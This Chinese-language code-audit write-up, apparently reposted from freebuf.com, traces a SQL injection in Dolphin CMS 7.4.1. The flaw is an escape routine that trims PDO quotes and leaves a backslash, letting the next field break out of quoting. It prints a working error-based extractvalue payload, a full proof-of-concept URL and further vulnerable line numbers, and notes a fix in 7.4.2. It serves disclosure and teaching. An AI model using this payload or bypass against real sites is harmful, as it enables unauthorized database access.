代码审计 – dolphin.pro cms SQL注入漏洞,Bypass过滤规则 – 作者:08sec团队

作者:简单点。Le.xie
CMS官网地址:https://www.boonex.com/
GITHUB:https://github.com/boonex/dolphin.pro/releases/tag/7.4.1
版本:Dolphin-v.7.4.1

Dolphin是一个网络软件平台,你可以下载并使用它来建立你自己的利基社交网络、社区网站、在线俱乐部或基于兴趣的社交网站。

代码分析:

1./flash/modules/chat/inc/actions.inc.php Line 120

Line10:$sId = isset($_REQUEST['id']) ? process_db_input($_REQUEST['id']) : "";
 ......
 Line120:case 'RzSetBlocked':
        $sUser = isset($_REQUEST['user']) ? process_db_input($_REQUEST['user']) : "";
        die($sUser);
        $bBlocked = isset($_REQUEST['blocked']) ? $_REQUEST['blocked'] == TRUE_VAL : false;
        blockUser($sId, $sUser, $bBlocked);
        break;

在获取id、user参数时,会调用process_db_input()函数进行处理入参。

2.跟踪到process_db_input()函数:

function process_db_input($sText, $iStripTags = 0)
{
    if (is_array($sText)) {
        foreach ($sText as $k => $v) {
            $sText[$k] = process_db_input($v, $iStripTags);
        }
 
        return $sText;
    }
 
    $oDb = BxDolDb::getInstance();
    switch ($iStripTags) {
        case BX_TAGS_STRIP_AND_NL2BR:
            return $oDb->escape(nl2br(strip_tags($sText)), false);
        case BX_TAGS_STRIP:
            return $oDb->escape(strip_tags($sText), false);
        case BX_TAGS_SPECIAL_CHARS:
            return $oDb->escape(htmlspecialchars($sText, ENT_QUOTES, 'UTF-8'), false);
        case BX_TAGS_VALIDATE:
            return $oDb->escape(clear_xss($sText), false);
        case BX_TAGS_NO_ACTION:
        default:
            return $oDb->escape($sText, false); //调用escape函数
    }
 }

从上面代码中可以看到,process_db_input第二个参数为空,会走到defalut分支,接着调用escape函数。

3.跟踪到escape()函数:

public function escape($sText, $bReal = true)
    {
        $pdoEscapted = $this->link->quote($sText); //为' " \ NULL 等转移\' \\..
 
        if ($bReal) {
            return $pdoEscapted;
        }
 
        // don't need the actual quotes pdo adds, so it
        // behaves kinda like mysql_real_escape_string
        // p.s. things we do for legacy code
        return trim($pdoEscapted, "'"); //去掉首尾出现的'
 
    }

示例:
admin' --> quote() --> 'admin\''
'admin\'' --> trim(,"'") --> admin\ 

4.回到步骤1,调用blockUser()函数,跟踪进去:

function blockUser($iUserId, $iBlockedId, $bBlock)
{
    bx_import('BxDolAlerts');
 
    if($bBlock) { //如果$bBlock为true
        getResult("REPLACE INTO `sys_block_list` SET `ID` = '" . $iUserId . "', `Profile` = '" . $iBlockedId . "'");
        $oZ = new BxDolAlerts('block', 'add', $iBlockedId, $iUserId);
    } else {
        getResult("DELETE FROM `sys_block_list` WHERE `ID` = '" . $iUserId . "' AND `Profile` = '" . $iBlockedId . "'");
        $oZ = new BxDolAlerts('block', 'delete', $iBlockedId, $iUserId);
    }
    $oZ->alert();
 }

这里参数采用拼接的方式组装,最终带入数据库查询。
这里需要三个参数,$iUserId, $iBlockedId, $bBlock,当$bBlock为true时,调用

getResult("REPLACE INTO `sys_block_list` SET `ID` = '" . $iUserId . "', `Profile` = '" . $iBlockedId . "'");

当前端请求:
id=admin%27&user=%2bextractvalue(1,concat(0x7e,user()))%23&blocked=true
由步骤3可知:
id=admin%27 --> process_db_input() --> admin\

user=%2bextractvalue(1,concat(0x7e,user()))%23 --> process_db_input() --> +extractvalue(1,concat(0x7e,user()))#
参数带入blockUser()后,拼接的SQL语句是:

REPLACE INTO `sys_block_list` SET `ID` = 'admin\', `Profile` = '+extractvalue(1,concat(0x7e,user()))#'

这样成功的绕过quote()函数对特殊字符的转义,绕过防护达到SQL注入的目的。

其他类似的两个参数拼接的地方有很多,这里列举几个点:

/flash/modules/chat/inc/actions.inc.php Line 137
 /flash/modules/chat/inc/actions.inc.php Line 156
 /flash/modules/chat/inc/actions.inc.php Line 180
 /flash/modules/chat/inc/actions.inc.php Line 198
 /flash/modules/chat/inc/actions.inc.php Line 210

POC:

http://localhost/flash/XML.php?module=chat&app=1&action=RzSetBlocked&id=admin%27&user=%2bextractvalue(1,concat(0x7e,user()))%23&blocked=true

在tmp/error.log文件中,可以看到报错的信息

111.png

至发稿前,官方已升级到7.4.2版本,问题已经修复。

来源:freebuf.com 2019-04-26 12:01:37 by: 08sec团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论